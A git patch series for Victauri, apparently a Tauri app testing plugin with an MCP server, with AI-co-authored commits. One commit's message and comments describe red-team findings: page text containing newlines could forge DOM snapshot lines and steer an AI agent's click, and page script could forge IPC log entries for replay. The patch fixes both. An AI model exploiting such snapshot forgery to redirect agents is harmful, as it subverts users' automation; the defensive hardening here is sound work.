"${ACTION_DOCS[@]}"; do if $DRY_RUN; then echo " WOULD $f victauri-test@v$NEW_VERSION" else - sed -i -E "s|(victauri-test@v)[0-9]+\.[0-9]+\.[0-9]+|\1$NEW_VERSION|g" "$ROOT/$f" + sed_inplace -E "s|(victauri-test@v)[0-9]+\.[0-9]+\.[0-9]+|\1$NEW_VERSION|g" "$ROOT/$f" echo " OK $f victauri-test@v$NEW_VERSION" fi done diff --git a/scripts/deep-test/macos-tcc-check.sh b/scripts/deep-test/macos-tcc-check.sh index 72168b01..3cb630a6 100755 --- a/scripts/deep-test/macos-tcc-check.sh +++ b/scripts/deep-test/macos-tcc-check.sh @@ -30,8 +30,11 @@ fi # will flip to true once CGEvent native input lands + Accessibility is granted. echo "[trusted input] needs: Accessibility (CGEvent impl pending)" # Type into the name field with trusted:true, then read back isTrusted of the last key. -call eval_js '{"code":"window.__lastTrusted=null; document.addEventListener(\"keydown\",function(e){window.__lastTrusted=e.isTrusted;},{once:true}); return \"armed\""}' >/dev/null -call input '{"action":"type","selector":"[data-testid=name-input]","text":"x","trusted":true}' >/dev/null +call eval_js '{"code":"window.__lastTrusted=null; document.addEventListener(\"keydown\",function(e){window.__lastTrusted=e.isTrusted;},{once:true}); var el=document.querySelector(\"[data-testid=name-input]\"); if (el) el.focus(); return \"armed\""}' >/dev/null +# `input` takes a snapshot `ref_id`, not a CSS selector (and there is no `type` action). +# The field was focused above; `press_key` with no `ref_id` sends the trusted key to the +# focused element. +call input '{"action":"press_key","key":"x","trusted":true}' >/dev/null sleep 1 it=$(call eval_js '{"code":"return String(window.__lastTrusted)"}') echo " isTrusted observed -> $it" From c3ae9a836753b606aaed374708c562f6eddfa144 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 14:36:51 +1000 Subject: [PATCH 006/167] fix(js-bridge): hostile-page hardening + slow IPC calls no longer stuck "pending" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Red-team (pre-audit) findings on the injected bridge: - Log getters returned the LIVE internal arrays: page script could push a forged "successful" IPC entry (which recording.replay would then invoke), splice out its own traffic, or plant values that broke every later read. They now return per-entry copies; ipcCommandPath tolerates non-strings. - The compact DOM snapshot wrote page text raw, so a newline in rendered text (an RSS title, a chat message) forged `[eN] button "…"` lines and could steer an agent's click. Page-derived strings are now JSON-encoded. - "Victauri-internal" traffic was detected by substring anywhere in the URL, so any request with `plugin%3Avictauri%7C` in its query escaped route rules and network logging; it's now decided from the parsed IPC command path. - IPC events are keyed by completion time (seq_ts) and, in watermark mode, a pending call is emitted once when it completes — a command slower than the drain gap used to stay "pending" forever (and replay then skipped it). The Rust drain advances by seq_ts and clamps the watermark to now. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/js_bridge.rs | 86 ++++++++++++++----- crates/victauri-plugin/src/mcp/server.rs | 12 ++- crates/victauri-plugin/tests/bridge_tests.rs | 31 ++++++- .../tests/bridge_tests/run_tests.js | 8 ++ 4 files changed, 110 insertions(+), 27 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index f775b803..d7ad4407 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -140,12 +140,24 @@ const INIT_SCRIPT_BODY: &str = r#" // the URL is a Tauri IPC URL, else null. var IPC_PREFIXES = ['http://ipc.localhost/', 'ipc://localhost/']; function ipcCommandPath(url) { + if (typeof url !== 'string') { + try { url = String(url); } catch (e) { return null; } + } for (var pi = 0; pi < IPC_PREFIXES.length; pi++) { if (url.indexOf(IPC_PREFIXES[pi]) === 0) return url.substring(IPC_PREFIXES[pi].length); } return null; } function isIpcUrl(url) { return ipcCommandPath(url) !== null; } + // Victauri's own IPC (plugin:victauri|*). Decided from the parsed IPC command path — NOT a + // substring anywhere in the URL, which let any page request containing + // "plugin%3Avictauri%7C" in a query string escape route rules and network logging. + function isVictauriInternalUrl(url) { + var p = ipcCommandPath(url); + if (p === null) return false; + try { p = decodeURIComponent(p); } catch (e) {} + return p.indexOf('plugin:victauri|') === 0; + } var navigationLog = []; var dialogLog = []; var interactionLog = []; @@ -170,9 +182,7 @@ const INIT_SCRIPT_BODY: &str = r#" // Never matches Victauri's own internal IPC traffic. function matchRoute(url, method) { if (!routeRules.length) return null; - if (url.indexOf('plugin%3Avictauri%7C') !== -1 || url.indexOf('plugin:victauri|') !== -1) { - return null; - } + if (isVictauriInternalUrl(url)) return null; var m = (method || 'GET').toUpperCase(); for (var i = 0; i < routeRules.length; i++) { var r = routeRules[i]; @@ -289,6 +299,20 @@ const INIT_SCRIPT_BODY: &str = r#" } catch (e) { return null; } } + // The bridge's logs are handed out as per-entry COPIES. Returning the live internal arrays + // (as the getters used to) let page script push forged entries (a fake successful IPC call + // that `recording replay` would then invoke), splice out its own traffic, or plant values + // that break every later read. Freezing the bridge object does not protect its arrays. + var ASSIGN = Object.assign; + function copyEntries(arr) { + var out = new Array(arr.length); + for (var i = 0; i < arr.length; i++) { + var e = arr[i]; + out[i] = (e && typeof e === 'object') ? ASSIGN({}, e) : e; + } + return out; + } + // ── Public API ─────────────────────────────────────────────────────────── window.__VICTAURI__ = { @@ -739,8 +763,7 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Console ────────────────────────────────────────────────────────── getConsoleLogs: function(since) { - if (since) return consoleLogs.filter(function(l) { return l.timestamp >= since; }); - return consoleLogs; + return copyEntries(since ? consoleLogs.filter(function(l) { return l.timestamp >= since; }) : consoleLogs); }, clearConsoleLogs: function() { @@ -750,8 +773,7 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Mutations ──────────────────────────────────────────────────────── getMutationLog: function(since) { - if (since) return mutationLog.filter(function(m) { return m.timestamp >= since; }); - return mutationLog; + return copyEntries(since ? mutationLog.filter(function(m) { return m.timestamp >= since; }) : mutationLog); }, clearMutationLog: function() { @@ -766,7 +788,7 @@ const INIT_SCRIPT_BODY: &str = r#" log = log.filter(function(e) { return e.url.indexOf(filter) !== -1; }); } if (limit) log = log.slice(-limit); - return log; + return copyEntries(log); }, clearNetworkLog: function() { @@ -803,7 +825,7 @@ const INIT_SCRIPT_BODY: &str = r#" return { ok: true, id: r.id, rule: r }; }, - getRouteRules: function() { return routeRules; }, + getRouteRules: function() { return copyEntries(routeRules); }, clearRoute: function(id) { var before = routeRules.length; @@ -818,7 +840,7 @@ const INIT_SCRIPT_BODY: &str = r#" }, getRouteMatches: function(limit) { - return limit ? routeMatchLog.slice(-limit) : routeMatchLog; + return copyEntries(limit ? routeMatchLog.slice(-limit) : routeMatchLog); }, // ── Storage ────────────────────────────────────────────────────────── @@ -882,7 +904,7 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Navigation ─────────────────────────────────────────────────────── getNavigationLog: function() { - return navigationLog; + return copyEntries(navigationLog); }, navigate: function(url) { @@ -898,7 +920,7 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Dialogs ────────────────────────────────────────────────────────── getDialogLog: function() { - return dialogLog; + return copyEntries(dialogLog); }, clearDialogLog: function() { @@ -936,15 +958,24 @@ const INIT_SCRIPT_BODY: &str = r#" var victauriPrefix = 'plugin%3Avictauri%7C'; networkLog.forEach(function(n) { - if (!inRange(n.timestamp)) return; var raw = ipcCommandPath(n.url); if (raw === null) { // Plain network traffic. IPC requests are emitted once, as `ipc` // events above/below — not a second time as `network`. + if (!inRange(n.timestamp)) return; events.push({ type: 'network', method: n.method, url: n.url, status: n.status, duration_ms: n.duration_ms, timestamp: n.timestamp }); return; } if (raw.indexOf(victauriPrefix) === 0) return; + // IPC calls are keyed by COMPLETION time (`seq_ts`), not start time. Keyed by + // start, a call still pending at one drain tick fell behind the watermark and was + // never read again — so every command slower than the drain gap stayed "pending" + // forever in recordings. In exclusive (watermark) mode a pending call is skipped + // and emitted once, when it completes. + var isPending = n.status === 'pending'; + if (isPending && excl) return; + var seq = isPending ? n.timestamp : n.timestamp + (n.duration_ms || 0); + if (!inRange(seq)) return; var cmd; try { cmd = decodeURIComponent(raw); } catch(e) { cmd = raw; } // Same classification as getIpcLog: HTTP 200 with a // `Tauri-Response: error` header is a failed command. @@ -953,7 +984,7 @@ const INIT_SCRIPT_BODY: &str = r#" else if (n.status !== 200 && n.status !== 'ok') st = 'error'; else if (n.ipc_response === 'error') st = 'error'; else st = 'ok'; - events.push({ type: 'ipc', command: cmd, status: st, duration_ms: n.duration_ms, arg_size_bytes: n.arg_size_bytes || 0, timestamp: n.timestamp }); + events.push({ type: 'ipc', command: cmd, status: st, duration_ms: n.duration_ms, arg_size_bytes: n.arg_size_bytes || 0, timestamp: n.timestamp, seq_ts: seq }); }); navigationLog.forEach(function(n) { @@ -1891,6 +1922,13 @@ const INIT_SCRIPT_BODY: &str = r#" return element; } + // An unquoted attribute value for the compact tree: escaped like a JSON string (no raw + // newlines, quotes or control characters) but without the surrounding quotes. + function compactAttr(v) { + var s = PRISTINE_STRINGIFY(String(v)); + return s.substring(1, s.length - 1); + } + function walkDomCompact(node, depth) { if (!node || node.nodeType !== 1) return ''; @@ -1921,12 +1959,15 @@ const INIT_SCRIPT_BODY: &str = r#" line += tag; } + // Page-derived strings are JSON-encoded: written raw, a newline in rendered text (an + // RSS title, a chat message) forged whole `[eN] button "…"` lines in this tree and could + // steer an agent's click onto a different element. if (name) { - line += ' "' + name.substring(0, 60) + '"'; + line += ' ' + PRISTINE_STRINGIFY(name.substring(0, 60)); } else if (text && text.length <= 60) { - line += ' "' + text + '"'; + line += ' ' + PRISTINE_STRINGIFY(text); } else if (text) { - line += ' "' + text.substring(0, 57) + '..."'; + line += ' ' + PRISTINE_STRINGIFY(text.substring(0, 57) + '...'); } if (node.disabled) line += ' [disabled]'; @@ -1936,13 +1977,13 @@ const INIT_SCRIPT_BODY: &str = r#" } var testId = node.getAttribute('data-testid'); - if (testId) line += ' @' + testId; + if (testId) line += ' @' + compactAttr(testId); var type = node.getAttribute('type'); - if (type && tag === 'input') line += ' type=' + type; + if (type && tag === 'input') line += ' type=' + compactAttr(type); var href = node.getAttribute('href'); - if (href && tag === 'a') line += ' href=' + href.substring(0, 60); + if (href && tag === 'a') line += ' href=' + compactAttr(href.substring(0, 60)); var result = line + '\n'; @@ -2202,7 +2243,7 @@ const INIT_SCRIPT_BODY: &str = r#" var url = typeof input === 'string' ? input : (input && input.url ? input.url : String(input)); var method = String((init && init.method) || (input && input.method) || 'GET'); var isIpc = isIpcUrl(url); - var isVictauriInternal = isIpc && url.indexOf('plugin%3Avictauri%7C') !== -1; + var isVictauriInternal = isVictauriInternalUrl(url); var entry = { id: id, method: method.toUpperCase(), url: url, timestamp: Date.now(), status: 'pending', duration_ms: null }; if (isIpc && !isVictauriInternal) { @@ -2363,8 +2404,7 @@ const INIT_SCRIPT_BODY: &str = r#" }; XMLHttpRequest.prototype.send = function() { if (this.__victauri_net) { - var isVictauriInternal = this.__victauri_net.url.indexOf('plugin%3Avictauri%7C') !== -1 - || this.__victauri_net.url.indexOf('plugin:victauri|') !== -1; + var isVictauriInternal = isVictauriInternalUrl(this.__victauri_net.url); if (isVictauriInternal) { return origSend.apply(this, arguments); } diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 5d872c60..5e01f82b 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -1183,12 +1183,20 @@ async fn drain_window( let events: Vec = serde_json::from_str(&result).ok()?; + // Watermark = newest `seq_ts` (IPC completion time) or `timestamp`, clamped to now: a + // bogus far-future timestamp must never jump the watermark past all real events (it would + // silently stop this window's recording for the rest of the session). + #[allow(clippy::cast_precision_loss)] + let now_ms = chrono::Utc::now().timestamp_millis() as f64; let mut newest = since; for ev in &events { let ts = ev - .get("timestamp") + .get("seq_ts") + .or_else(|| ev.get("timestamp")) .and_then(serde_json::Value::as_f64) - .unwrap_or(0.0); + .filter(|t| t.is_finite()) + .unwrap_or(0.0) + .min(now_ms); if ts > newest { newest = ts; } diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index a4172df9..722e0ce7 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -5087,11 +5087,29 @@ fn bridge_hardening_regressions() { await fetch('http://ipc.localhost/bad_cmd', { method: 'POST', body: '{}', headers: { 'x-vtest-tauri-response': 'error' } }); var all = window.__VICTAURI__.getEventStream(); - var last = all[all.length - 1].timestamp; + // The watermark a consumer keeps is the newest seq_ts (IPC completion time) + // or timestamp — exactly what the Rust drain computes. + var last = all.reduce(function(m, e) { + var k = (e.seq_ts !== undefined) ? e.seq_ts : e.timestamp; + return k > m ? k : m; + }, 0); var incl = window.__VICTAURI__.getEventStream(last).length; var excl = window.__VICTAURI__.getEventStream(last, true).length; var ipc = all.filter(function(e) { return e.type === 'ipc'; })[0]; - return { incl_nonzero: incl > 0, excl: excl, ipc_status: ipc && ipc.status }; + // A slow call pending at one watermark read is emitted exactly once, when + // it completes (it used to be keyed by start time and never re-read). + var slow = fetch('http://ipc.localhost/slow_cmd', { method: 'POST', body: '{}', + headers: { 'x-vtest-delay-ms': '120' } }); + var during = window.__VICTAURI__.getEventStream(0, true) + .filter(function(e) { return e.command === 'slow_cmd'; }).length; + var mark = Date.now(); + await slow; + await new Promise(function(r) { setTimeout(r, 20); }); + var after = window.__VICTAURI__.getEventStream(mark, true) + .filter(function(e) { return e.command === 'slow_cmd'; }); + return { incl_nonzero: incl > 0, excl: excl, ipc_status: ipc && ipc.status, + slow_during: during, slow_after: after.length, + slow_status: after[0] && after[0].status }; ", ), TestCase { @@ -5183,6 +5201,15 @@ fn bridge_hardening_regressions() { assert_eq!(e["incl_nonzero"], true); assert_eq!(e["excl"], 0); assert_eq!(e["ipc_status"], "error"); + assert_eq!( + e["slow_during"], 0, + "a pending call is not emitted in watermark mode" + ); + assert_eq!( + e["slow_after"], 1, + "a slow call is emitted once when it completes" + ); + assert_eq!(e["slow_status"], "ok"); let rt = r(6); assert_eq!(rt["bad_ok"], false); diff --git a/crates/victauri-plugin/tests/bridge_tests/run_tests.js b/crates/victauri-plugin/tests/bridge_tests/run_tests.js index 74f75830..04ef315b 100644 --- a/crates/victauri-plugin/tests/bridge_tests/run_tests.js +++ b/crates/victauri-plugin/tests/bridge_tests/run_tests.js @@ -255,6 +255,14 @@ async function run() { }, }; } + // Optional `x-vtest-delay-ms` keeps the call in flight (pending) for a while, to test + // how the bridge reports a slow command across event-stream reads. + var delayMs = Number(reqHeaders["x-vtest-delay-ms"] || 0); + if (delayMs > 0) { + return new Promise(function (res) { + setTimeout(function () { res(makeResponse()); }, delayMs); + }); + } return Promise.resolve(makeResponse()); }; } From a22c83b6761def1a044faced5ebed8e973ebab4b Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 14:41:26 +1000 Subject: [PATCH 007/167] =?UTF-8?q?feat!:=200.9=20API=20sweep=20=E2=80=94?= =?UTF-8?q?=20#[non=5Fexhaustive]=20output=20types,=20constructors,=20inte?= =?UTF-8?q?rnals=20pulled=20back?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit One deliberate semver break so future field additions are non-breaking. No runtime behavior change except the victauri-test rediscovery fix below. victauri-core - #[non_exhaustive] (output-only): DomElement, ElementBounds, DomSnapshot, ScoredCommand, RefHandle, MemoryDelta, VerificationResult, Divergence, GhostCommandReport, GhostCommand, IpcIntegrityReport, StaleCall, ErrorCall, AssertionResult, StateCheckpoint; enums InteractionKind, CodegenStyle. - #[non_exhaustive] + constructors: IpcCall::new, WindowState::new + with_* setters, SemanticAssertion::new, RecordedSession::new, RecordedEvent::new, AppEvent struct variants (+ AppEvent::{state_change, dom_mutation, dom_interaction, window_event, console}). - CommandInfo/CommandArg #[non_exhaustive]; new builders (with_plugin, with_args, with_arg, with_return_type, with_async, with_examples, with_example; CommandArg::new/with_schema). #[inspectable] now expands to the builder chain instead of struct literals. - acquire_lock/read/write and the security/middleware modules #[doc(hidden)] (still used by victauri-plugin and victauri-cli). victauri-plugin - #[non_exhaustive]: VictauriState (+ #[doc(hidden)] for_tests()), PrivacyConfig, PrivacyProfile, CommandTimingStats, FaultType, FaultConfig (+ new), JsonShape, ContractBaseline (+ new), ContractDrift, TypeChange, StartupPhase, CapturedTauriEvent (+ new), TrackedTaskInfo, ChildProcessInfo, TraceFrame, DbCandidate. - filmstrip -> pub(crate); js_bridge, screencast, database, PendingCallbacks, privacy::{observe,test,strict}_privacy_config -> #[doc(hidden)]; mcp::parse_bridge_event_from -> pub(super). - Auth-token startup log: char-safe 4-char prefix + length (no byte slicing, no 48-bit token leak). Privacy matrix comment corrected (Test/Observe are deny-by-default). victauri-test - #[non_exhaustive]: PluginInfo, PluginToolInfo (now re-exported), MemoryStats, SmokeCheckResult, SmokeReport, CoverageReport, CommandCalls, LocatorMatch, Bounds, VisualDiff, ThresholdPreset. CheckResult::new and VerifyReport::new added (types kept exhaustive: victauri-cli builds them). - Rediscovery pins app identity: discover() records the app identifier (/info app_identifier, else discovery metadata); rediscovery only accepts a live server with that identifier, never falls back to port 7373, and now also runs once on a connection error for discovered clients. Unit tests. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../victauri-core/benches/core_benchmarks.rs | 34 +- crates/victauri-core/src/codegen.rs | 1 + crates/victauri-core/src/event.rs | 159 ++- crates/victauri-core/src/lib.rs | 6 + crates/victauri-core/src/recording.rs | 45 + crates/victauri-core/src/registry.rs | 84 ++ crates/victauri-core/src/snapshot.rs | 136 +- crates/victauri-core/src/types.rs | 36 +- crates/victauri-core/src/verification.rs | 87 +- .../tests/codegen_compile_test.rs | 25 +- crates/victauri-core/tests/core_tests.rs | 1261 ++++++++--------- .../tests/deep_adversarial_tests.rs | 531 +++---- crates/victauri-macros/src/lib.rs | 44 +- crates/victauri-plugin/src/bridge.rs | 24 +- crates/victauri-plugin/src/database.rs | 1 + crates/victauri-plugin/src/introspection.rs | 60 + crates/victauri-plugin/src/lib.rs | 78 +- crates/victauri-plugin/src/mcp/mod.rs | 83 +- crates/victauri-plugin/src/mcp/server.rs | 80 +- crates/victauri-plugin/src/privacy.rs | 12 +- crates/victauri-plugin/src/screencast.rs | 1 + crates/victauri-plugin/tests/common/mod.rs | 73 +- .../tests/deep_adversarial_tests.rs | 97 +- .../tests/integration_tests.rs | 173 +-- crates/victauri-plugin/tests/stress_tests.rs | 79 +- .../tests/tool_contract_tests.rs | 134 +- crates/victauri-test/src/assertions.rs | 19 + crates/victauri-test/src/client.rs | 221 ++- crates/victauri-test/src/coverage.rs | 2 + crates/victauri-test/src/discovery.rs | 139 +- crates/victauri-test/src/lib.rs | 5 +- crates/victauri-test/src/locator.rs | 2 + crates/victauri-test/src/smoke.rs | 26 +- crates/victauri-test/src/visual.rs | 2 + 34 files changed, 2126 insertions(+), 1634 deletions(-) diff --git a/crates/victauri-core/benches/core_benchmarks.rs b/crates/victauri-core/benches/core_benchmarks.rs index a1a02cca..50e18287 100644 --- a/crates/victauri-core/benches/core_benchmarks.rs +++ b/crates/victauri-core/benches/core_benchmarks.rs @@ -6,15 +6,15 @@ use victauri_core::registry::{CommandInfo, CommandRegistry}; use victauri_core::verification; fn make_ipc(id: &str, cmd: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 32, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + Utc::now(), + IpcResult::Ok(serde_json::json!("ok")), + Some(1), + 32, + "main".to_string(), + )) } fn bench_event_log(c: &mut Criterion) { @@ -54,11 +54,7 @@ fn bench_event_log(c: &mut Criterion) { log.push(make_ipc(&i.to_string(), "ipc_cmd")); } for i in 0..500 { - log.push(AppEvent::StateChange { - key: format!("key_{i}"), - timestamp: Utc::now(), - caused_by: None, - }); + log.push(AppEvent::state_change(format!("key_{i}"), Utc::now(), None)); } b.iter(|| { black_box(log.ipc_calls()); @@ -165,11 +161,11 @@ fn bench_verification(c: &mut Criterion) { }); group.bench_function("evaluate_assertion", |b| { - let assertion = verification::SemanticAssertion { - label: "check_count".to_string(), - condition: verification::AssertionCondition::GreaterThan, - expected: serde_json::json!(10), - }; + let assertion = verification::SemanticAssertion::new( + "check_count".to_string(), + verification::AssertionCondition::GreaterThan, + serde_json::json!(10), + ); b.iter(|| { black_box(verification::evaluate_assertion( serde_json::json!(42), diff --git a/crates/victauri-core/src/codegen.rs b/crates/victauri-core/src/codegen.rs index 69ce6fee..0f826b59 100644 --- a/crates/victauri-core/src/codegen.rs +++ b/crates/victauri-core/src/codegen.rs @@ -11,6 +11,7 @@ use crate::recording::RecordedSession; /// Controls whether generated code uses direct client methods or the Locator API. #[derive(Debug, Clone, Copy, Eq, PartialEq, Default)] +#[non_exhaustive] pub enum CodegenStyle { /// Generate `client.click_by_id("btn")` style calls. #[default] diff --git a/crates/victauri-core/src/event.rs b/crates/victauri-core/src/event.rs index c6d9f90c..6dfd3f6e 100644 --- a/crates/victauri-core/src/event.rs +++ b/crates/victauri-core/src/event.rs @@ -9,6 +9,7 @@ use serde::{Deserialize, Serialize}; /// A single Tauri IPC call with timing, result, and source webview. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct IpcCall { /// Unique call identifier for correlation. pub id: String, @@ -38,6 +39,51 @@ pub enum IpcResult { Err(String), } +impl IpcCall { + /// Creates an IPC call record. + /// + /// `IpcCall` is `#[non_exhaustive]`, so code outside this crate (bridges, + /// mocks, tests) builds it through this constructor rather than a struct + /// literal; fields added later get a default here instead of breaking callers. + /// + /// # Examples + /// + /// ``` + /// use victauri_core::{IpcCall, IpcResult}; + /// + /// let call = IpcCall::new( + /// "c1", + /// "greet", + /// chrono::Utc::now(), + /// IpcResult::Pending, + /// None, + /// 0, + /// "main", + /// ); + /// assert_eq!(call.command, "greet"); + /// ``` + #[must_use] + pub fn new( + id: impl Into, + command: impl Into, + timestamp: DateTime, + result: IpcResult, + duration_ms: Option, + arg_size_bytes: usize, + webview_label: impl Into, + ) -> Self { + Self { + id: id.into(), + command: command.into(), + timestamp, + duration_ms, + result, + arg_size_bytes, + webview_label: webview_label.into(), + } + } +} + impl fmt::Display for IpcResult { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match self { @@ -62,6 +108,7 @@ impl From for AppEvent { /// The kind of user interaction captured from the DOM. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub enum InteractionKind { /// Mouse click on an element. Click, @@ -101,6 +148,7 @@ pub enum AppEvent { /// An IPC call between webview and Rust backend. Ipc(IpcCall), /// A change to application state in the backend. + #[non_exhaustive] StateChange { /// State key that changed. key: String, @@ -110,6 +158,7 @@ pub enum AppEvent { caused_by: Option, }, /// A batch of DOM mutations observed in a webview. + #[non_exhaustive] DomMutation { /// Webview where the mutations were observed. webview_label: String, @@ -119,6 +168,7 @@ pub enum AppEvent { mutation_count: u32, }, /// A user interaction captured from the DOM during recording. + #[non_exhaustive] DomInteraction { /// What kind of interaction occurred. action: InteractionKind, @@ -132,6 +182,7 @@ pub enum AppEvent { webview_label: String, }, /// A native window lifecycle event (e.g. focus, resize, close). + #[non_exhaustive] WindowEvent { /// Tauri window label that emitted the event. label: String, @@ -141,6 +192,7 @@ pub enum AppEvent { timestamp: DateTime, }, /// A console log/warn/error message captured from the webview. + #[non_exhaustive] Console { /// Severity level: "log", "warn", or "error". level: String, @@ -152,6 +204,89 @@ pub enum AppEvent { } impl AppEvent { + /// Builds an [`AppEvent::StateChange`]. + #[must_use] + pub fn state_change( + key: impl Into, + timestamp: DateTime, + caused_by: Option, + ) -> Self { + Self::StateChange { + key: key.into(), + timestamp, + caused_by, + } + } + + /// Builds an [`AppEvent::DomMutation`]. + #[must_use] + pub fn dom_mutation( + webview_label: impl Into, + timestamp: DateTime, + mutation_count: u32, + ) -> Self { + Self::DomMutation { + webview_label: webview_label.into(), + timestamp, + mutation_count, + } + } + + /// Builds an [`AppEvent::DomInteraction`]. + #[must_use] + pub fn dom_interaction( + action: InteractionKind, + selector: impl Into, + value: Option, + timestamp: DateTime, + webview_label: impl Into, + ) -> Self { + Self::DomInteraction { + action, + selector: selector.into(), + value, + timestamp, + webview_label: webview_label.into(), + } + } + + /// Builds an [`AppEvent::WindowEvent`]. + #[must_use] + pub fn window_event( + label: impl Into, + event: impl Into, + timestamp: DateTime, + ) -> Self { + Self::WindowEvent { + label: label.into(), + event: event.into(), + timestamp, + } + } + + /// Builds an [`AppEvent::Console`]. + /// + /// # Examples + /// + /// ``` + /// use victauri_core::AppEvent; + /// + /// let ev = AppEvent::console("warn", "deprecated", chrono::Utc::now()); + /// assert!(matches!(ev, AppEvent::Console { .. })); + /// ``` + #[must_use] + pub fn console( + level: impl Into, + message: impl Into, + timestamp: DateTime, + ) -> Self { + Self::Console { + level: level.into(), + message: message.into(), + timestamp, + } + } + /// Returns the timestamp of this event, regardless of variant. #[must_use] pub fn timestamp(&self) -> DateTime { @@ -217,11 +352,7 @@ impl EventLog { /// use chrono::Utc; /// /// let log = EventLog::new(100); - /// log.push(AppEvent::StateChange { - /// key: "theme".to_string(), - /// timestamp: Utc::now(), - /// caused_by: None, - /// }); + /// log.push(AppEvent::state_change("theme", Utc::now(), None)); /// assert_eq!(log.len(), 1); /// assert_eq!(log.snapshot().len(), 1); /// ``` @@ -272,15 +403,15 @@ impl EventLog { /// use chrono::Utc; /// /// let log = EventLog::new(100); - /// log.push(AppEvent::Ipc(IpcCall { - /// id: "c1".to_string(), - /// command: "greet".to_string(), - /// timestamp: Utc::now(), - /// duration_ms: Some(5), - /// result: IpcResult::Ok(serde_json::json!("hi")), - /// arg_size_bytes: 0, - /// webview_label: "main".to_string(), - /// })); + /// log.push(AppEvent::Ipc(IpcCall::new( + /// "c1", + /// "greet", + /// Utc::now(), + /// IpcResult::Ok(serde_json::json!("hi")), + /// Some(5), + /// 0, + /// "main", + /// ))); /// assert_eq!(log.ipc_calls().len(), 1); /// ``` #[must_use] diff --git a/crates/victauri-core/src/lib.rs b/crates/victauri-core/src/lib.rs index 9272b642..52872e25 100644 --- a/crates/victauri-core/src/lib.rs +++ b/crates/victauri-core/src/lib.rs @@ -11,10 +11,13 @@ pub extern crate inventory; pub mod codegen; pub mod error; pub mod event; +// Shared plumbing for the plugin/CLI crates — not part of the supported API. #[cfg(feature = "middleware")] +#[doc(hidden)] pub mod middleware; pub mod recording; pub mod registry; +#[doc(hidden)] pub mod security; pub mod snapshot; pub mod types; @@ -40,6 +43,7 @@ pub use verification::{ /// /// Victauri's mutex-protected data is append-only logs and registries where /// stale data is preferable to crashing the testing framework. +#[doc(hidden)] pub fn acquire_lock<'a, T>( mutex: &'a std::sync::Mutex, context: &str, @@ -51,6 +55,7 @@ pub fn acquire_lock<'a, T>( } /// Acquire a read lock on an `RwLock`, recovering from poisoning. +#[doc(hidden)] pub fn acquire_read<'a, T>( lock: &'a std::sync::RwLock, context: &str, @@ -62,6 +67,7 @@ pub fn acquire_read<'a, T>( } /// Acquire a write lock on an `RwLock`, recovering from poisoning. +#[doc(hidden)] pub fn acquire_write<'a, T>( lock: &'a std::sync::RwLock, context: &str, diff --git a/crates/victauri-core/src/recording.rs b/crates/victauri-core/src/recording.rs index 7568e75b..54449c95 100644 --- a/crates/victauri-core/src/recording.rs +++ b/crates/victauri-core/src/recording.rs @@ -14,6 +14,7 @@ const DEFAULT_MAX_EVENTS: usize = 50_000; /// A snapshot of application state taken at a specific point during recording. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct StateCheckpoint { /// Unique identifier for this checkpoint. pub id: String, @@ -29,6 +30,7 @@ pub struct StateCheckpoint { /// A complete recorded session with events and state checkpoints. Serializable for export/import. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct RecordedSession { /// Unique session identifier (UUID). pub id: String, @@ -42,6 +44,7 @@ pub struct RecordedSession { /// A single event captured during a recording session, with its sequence index. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct RecordedEvent { /// Monotonically increasing sequence number within the recording session. pub index: usize, @@ -51,6 +54,48 @@ pub struct RecordedEvent { pub event: AppEvent, } +impl RecordedSession { + /// Creates a recorded session from its parts (e.g. when importing a + /// session built outside a live [`EventRecorder`]). + #[must_use] + pub fn new( + id: impl Into, + started_at: DateTime, + events: Vec, + checkpoints: Vec, + ) -> Self { + Self { + id: id.into(), + started_at, + events, + checkpoints, + } + } +} + +impl RecordedEvent { + /// Creates a recorded event with the given sequence index. + /// + /// # Examples + /// + /// ``` + /// use victauri_core::{AppEvent, RecordedEvent, RecordedSession}; + /// + /// let now = chrono::Utc::now(); + /// let ev = RecordedEvent::new(0, now, AppEvent::window_event("main", "focus", now)); + /// let session = RecordedSession::new("s1", now, vec![ev], vec![]); + /// assert_eq!(session.events.len(), 1); + /// ``` + #[must_use] + pub fn new(index: usize, timestamp: DateTime, event: AppEvent) -> Self { + Self { + index, + timestamp, + event, + } + } +} + /// Thread-safe session recorder for time-travel debugging. Records events and /// state checkpoints during a recording session. Only one session can be active at a time. #[derive(Debug, Clone)] diff --git a/crates/victauri-core/src/registry.rs b/crates/victauri-core/src/registry.rs 